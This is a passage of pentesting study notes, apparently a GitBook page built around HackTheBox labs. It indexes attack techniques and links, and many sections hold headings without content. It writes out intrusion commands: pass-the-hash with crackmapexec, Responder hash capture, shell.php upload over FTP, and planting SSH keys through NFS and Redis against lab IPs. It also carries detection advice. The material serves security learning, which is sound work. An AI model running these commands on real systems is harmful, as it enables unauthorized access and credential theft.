Unsorted
Misc notes that still need to be sorted through and sent to their proper homes.
Hack Responsibly.
Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.
Markdown
{% hint style="warning" %} Text between these will show up in a Warning box. Looks nice! {% endhint %}
Text between these will show up in a Warning box. Looks nice! (Gitbook only!)
-----
https://8gwifi.org/PemParserFunctions.jsp <--extract information from various digital certificates
SSH Keys
` extract public key from private key:openssl rsa -in privkey.pem -pubout -out key.pub`
HEX
view hex of file only: xxd -p
reverse from hex: xxd -r -p > <filename>
msfvenom
custom exploit making:[Ippsec:HacktheBox - Granny & Grandpa]
-----
Port knocking
iptables knockd:
-----
recursively download all files in hosted folder: wget -r <ip:port>
-----
Hurricane Electric ISP: Ippsec uses with IPv6 as a psuedo-VPN in HTB:Sneaky
-----
ls /usr/share/nmap/scripts/ |grep smb - find nmap scripts related to smb, search this folder for any scripts for a service you want to enumerate
-----
Cisco Smart Install Client Service Available -Then, we can pull the configs with SIET: siet.py -i 10.10.10.10 -g SIET: https://github.com/Sab0tag3d/SIET/
pass the hash
responder.py - or - write .lnk files to writeable shares that point back to attacker - capture hashes and relay attacks enable smb signing and limit llmnr (group policy) respounder - detect responder - responder guard
crackmapexec smb ip -u <name> -H <hash> --lsa - pass the hash; drsuapi - search in wireshark to detect - win long id 4624 user_reported_sid: S-1-0-0 logon_process_name:ntlmssp
Defense:https://github.com/Neo23x0/sigma/blob/master/rules/windows/builtin/win_pass_the_hash.yml; In our lab environment, we could consistently catch the pass-the-hash attacks by monitoring event_id : 4624, with logon types of ntlmssp, and the security SID at S-1-0-0 (NULL / NOBODY). You too can instrument this attack!
-----
Bad blood - create domain for your (defense tool, or lab setup) fills AD with objects, don't use in production! (cant create sessions)
-----
https://github.com/wpscanteam/wpscan/issues/190#issuecomment-18087644 iconv -f ISO-8859-1 -t UTF-8 /pentest/passwords/wordlists/rockyou.txt > rockyou_utf8.txt
Some programs have issues with rockyou.txt because the file is in the wrong encoding by default. USe the above to convert it to utf8 so it works with these programs.
-----
-----
https://vulndev.io/notes/2019/01/01/windows.html
-----
compress files using windows, sets "Compressed" attribute (cmd.exe) compact /C /S c:\MyDirectory
-----
http://w3af.org/ web application scanner
-----
https://base64.guru/converter/decode/file recover files sent in base64 (very useful for recovering files sent in emails)
-----
wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php?path=localhost:FUZZ
burp intruder alternative for brute-forcing ports (or any number range)
-----
Faster filtering with the silver searcher
https://github.com/ggreer/the_silver_searcher
For faster searching, use all the above grep regular expressions with the command ag.
-----
take the name of each file in a directory and try to connect to a site with that filename. (searching for web shells in Traceback- HTB)
-----
Misc Notes
Useful x86 Msfvenom Encoders
TMUX Hijacking
Hidden Windows Text Stream
Find:
Read:
DirtyCOW Exploit (Linux Kernel version from 2.6.22 to 3.9)
https://github.com/FireFart/dirtycow/blob/master/dirty.c
Oracle Enumeration TNS Listener (port 1521)
https://github.com/quentinhardy/odat
Buffer Overflow Bad Chars
JS Meterpreter Payload
Compile on Linux for Windows x86
From MSSQL Injection to RCE
https://www.tarlogic.com/en/blog/red-team-tales-0x01/
Windows Kernel Vulnerabilities Finder - Sherlock (PowerShell)
PowerShell one-liners (incl. file transfers)
Much Better PowerShell Reverse Shell One-Liner
Post-Exploitation Enumerate all users of Domain
Windows XP SP0/SP1 Privilege Escalation:
SUID Flag on /usr/bin/cp command Privilege Escalation
Writable /etc/passwd Privilege Escalation
Bypass robots.txt "You are not a search engine. Permission denied."
ShellShock PHP < 5.6.2
Privilege Escalation through SeImpersonatePrivilege permission (JuicyPotato)
https://github.com/ohpe/juicy-potato/releases https://www.absolomb.com/2018-05-04-HackTheBox-Tally/
Memcached Pentest & Enumeration
https://www.hackingarticles.in/penetration-testing-on-memcached-server/
Tunneling Post-Exploitation (PortForwarding) through Chisel
https://github.com/jpillora/chisel
Tunelling on Windows
Windows Service Start Mode Enumeration
invalid query?
Windows check permissions over a file/executable with 'icacls'
Permissions: F - full access M - modify access RX - read & execute access R - read access W - write-only access
Client-Side .hta (HTML-based Internet Explorer only) Code Execution
Fingerprinting Client-Side Victim
https://github.com/fingerprintjs/fingerprintjs2
Scan Security Headers
PowerShell to retrieve Active Directory objects (including deleted)
Get-ADObject
mysql command line alternative
TTY Shell that works almost every time on Linux
Kerberos check for valid usernames or bruteforce user/pass with kerbrute
https://github.com/TarlogicSecurity/kerbrute
TeamViewer Privilege Escalation -> CVE-2019-189888
PowerShell Reverse Shell
Pull the shell:
CVE-2019-10-15 Sudo < 1.2.28 Privilege Escalation
Adminer Database Management Tool Exploit Bypass Login
https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool
Alternate data streams of empty or incomplete file on SMB
allinfo *file*
SMB Recursively List Files
recurse on
ls
Telnet > Netcat
When connecting to a service, where possible, choose TELNET over Netcat
/etc/update-motd.d Privilege Escalation
https://blog.haao.sh/writeups/fowsniff-writeup/
Really Good Privilege Escalation Scripts
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
XMPP Authentication Crack
CTF Docs
https://github.com/welchbj/ctf/tree/master/docs
Test for LDAP NULL BIND
Extract VBA Script from document
https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php
Decode Rubber Ducky USB .bin payloads
https://ducktoolkit.com/decode#
Crack Android lockscreen from system files (gesture.key)
https://github.com/KieronCraggs/GestureCrack
XOR Analysis
https://github.com/hellman/xortool
Cryptanalysis
https://github.com/nccgroup/featherduster
RSA Cracking Tools
Morse Code Audio Decode
https://morsecode.world/international/decoder/audio-decoder-adaptive.html
Text to 21 Common Ciphers
https://v2.cryptii.com/text/select
Crypto Example Challenges
https://asecuritysite.com/encryption/ctf?mybutton=
Shift in Python (crypto)
Predict encoding/crypto type
https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')
Get data, process and respond over a socket
Extract domain names & hosts from PCAP
Domain Names
Hosts
Useful PCAP Reader
ZIP Format File Signatures
HEADER
FOOTER
JWT KID Value Exploitation
Sign with public file from server
SQL Injection
Blind XXE to SSRF
ON TARGET
INSIDE DTD FILE
https://github.com/corneacristian/Notes
Enumerate Users via Finger
finger $user@$IP
Show nfs shares available
showmount -e $IP
Use nfspysh to mount share and create .ssh directory
nfspysh -o server=192.168.0.20:/home/user
mkdir .ssh
cd .ssh
Transfer attacker public key to host
with FTP
put /tmp/authorized_keys
exit
Login to SSH server with no password
SSH_AUTH_SOCK=0 ssh user@192.168.0.20
Bash Basics
[+] nano Shortcuts
[+] Create a text file:
[+] Create a file and append text to it:
[+] How to view a file:
[+] Word Count
[+] sort
[+] awk
[+] egrep -v
[+] sed
[+] colors
[+] Make a file executable.
[+] Reminders
Windows Enumeration
[+] Pivoting - Lateral Movement
Finger - Enumerate Users
SNMP
NFS
LDAP
SMTP
Useful Commands
Port Scanning
Connect Scanning
The simplest TCP port scanning technique, usually called CONNECT scanning, relies on the three-way TCP handshake mechanism.
Connect port scanning involves attempting to complete a three-way handshake with the target host on the specified port(s).
If the handshake is completed, this indicates that the port is open.
Stealth / SYN Scanning
SYN scanning, or stealth scanning, is a TCP port scanning method that involves sending SYN packets to various ports on a target machine without completing a TCP handshake.
If a TCP port is open, a SYN-ACK should be sent back from the target machine, informing us that the port is open, without the need to send a final ACK back to the target machine.
With early and primitive firewalls, this method would often bypass firewall logging, as this logging was limited to completed TCP sessions.
This is no longer true with modern firewalls, and the term stealth is misleading. Users might believe their scans will somehow not be detected, when in fact, they will be.
UDP Scanning
Common Port Scanning Pitfalls
UDP port scanning is often unreliable, as firewalls and routers may drop ICMP packets. This can lead to false positives in your scan, and you will regularly see UDP port scans showing all UDP ports open on a scanned machine.
Most port scanners do not scan all available ports, and usually have a preset list of “interesting ports” that are scanned.
People often forget to scan for UDP services, and stick only to TCP scanning, thereby seeing only half of the equation.
Port Scanning with Nmap
A default nmap TCP scan will scan the 1000 most popular ports on a given machine.
This default 1000 port scan has generated around 72KB of traffic.
A similar local port scan explicitly probing all 65535 ports would generate about 4.5 MB of traffic, a significantly higher amount.
However, this full port scan has discovered two new ports that were not found by the default TCP scan: ports 180 and 25017.
--Full nmap scan of a class C network (254 hosts) would result in sending over 1000 MB of traffic to the network.--
So, if we are in a position where we can’t run a full port scan on the network, what can we do?
Network Sweeping
To deal with large volumes of hosts, or to otherwise try to conserve network traffic, we can attempt to probe these machines using Network Sweeping techniques.
Machines that filter or block ICMP requests may seem down to a ping sweep, so it is not a definitive way to identify which machines are really up or down.
Machines that prove to be rich in services, or otherwise interesting, would then be individually port scanned, using a more exhaustive port list.
OS Fingerprinting
Banner Grabbing/Service Enumeration
Nmap can also help identify services on specific ports, by banner grabbing, and running several enumeration scripts (-sV and -A parameters).
Nmap Scripting Engine (NSE)
The scripts include a broad range of utilities, from DNS enumeration scripts, brute force attack scripts, and even vulnerability identification scripts.
All NSE scripts can be found in the /usr/share/nmap/scripts directory
SMB Enumeration
Scanning for the NetBIOS Service
The SMB NetBIOS32 service listens on TCP ports 139 and 445, as well as several UDP ports.
There are other, more specialized, tools for specifically identifying NetBIOS information
Null Session Enumeration
A null session refers to an unauthenticated NetBIOS session between two computers. This feature exists to allow unauthenticated machines to obtain browse lists from other Microsoft servers.
A null session also allows unauthenticated hackers to obtain large amounts of information about the machine, such as password policies, usernames, group names, machine names, user and host SIDs.
This Microsoft feature existed in SMB1 by default and was later restricted in subsequent versions of SMB.
Nmap SMB NSE Scripts
SMTP Enumeration
mail servers can also be used to gather information about a host or network.
SMTP supports several important commands, such as VRFY and EXPN.
A VRFY request asks the server to verify an email address
while EXPN asks the server for the membership of a mailing list.
These can often be abused to verify existing users on a mail server, which can later aid the attacker.
Examine the following simple Python script that opens a TCP socket, connects to the SMTP server, and issues a VRFY command for a given username.
-----
Port Scanning :
Scanning all 65535 ports :
Optional - sT (performs full TCP handshake scan instead of syn-scan to prevent getting flagged by firewalls)
From Apache Version to finding Ubuntu version -> ubuntu httpd versions
FTP : (Port 21)
anonymous login check
ftp <ip address>
username : anonymous
pwd : anonymous
file upload -> put shell.php
SSH : (Port 22)
id_rsa.pub : Public key that can be used in authorized_keys for login
id_rsa : Private key that is used for login. Might ask for password. can be cracked with ssh2john and john
id_rsa
ssh -i id_rsa user@10.10.10.x
For passwordless login, add id_rsa.pub to target's authorized_keys
ssh2john
DNS Zone transfer check : (Port 53)
If port 53 is open
Add host to /etc/hosts
dig axfr smasher.htb @10.10.10.135
Add the extracted domain to /etc/hosts and dig again
RPC Bind (111)
RPC (135)
SMB (139 & 445)
https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html
SMB Exploits :
Samba "username map script" Command Execution - CVE-2007-2447
Version 3.0.20 through 3.0.25rc3
Samba-usermap-exploit.py - https://gist.github.com/joenorton8014/19aaa00e0088738fc429cff2669b9851
Eternal Blue - CVE-2017-0144
SMB v1 in Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016
SambaCry - CVE-2017-7494
4.5.9 version and before
IRC (194,6667,6660-7000)
nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 irked.htb
****https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor (exploit code)
NFS (2049)
showmount -e 10.1.1.27
mkdir /mnt/nfs
mount -t nfs 192.168.2.4:/nfspath-shown /mnt/nfs
Permission Denied ? (https://blog.christophetd.fr/write-up-vulnix/)
MYSQL (3306)
nmap -sV -Pn -vv 10.0.0.1 -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
Redis (6379)
In the output of config get * you could find the home of the redis user (usually /var/lib/redis or /home/redis/.ssh), and knowing this you know where you can write the authenticated_users file to access via ssh with the user redis. If you know the home of other valid user where you have writable permissions you can also abuse it:
Generate a ssh public-private key pair on your pc:
ssh-keygen -t rsaWrite the public key to a file :
(echo -e "\n\n"; cat ./.ssh/id_rsa.pub; echo -e "\n\n") > foo.txtImport the file into redis :
cat foo.txt | redis-cli -h 10.10.10.10 -x set crackitSave the public key to the
authorized_keysfile on redis server:
Port Knocking :
Last updated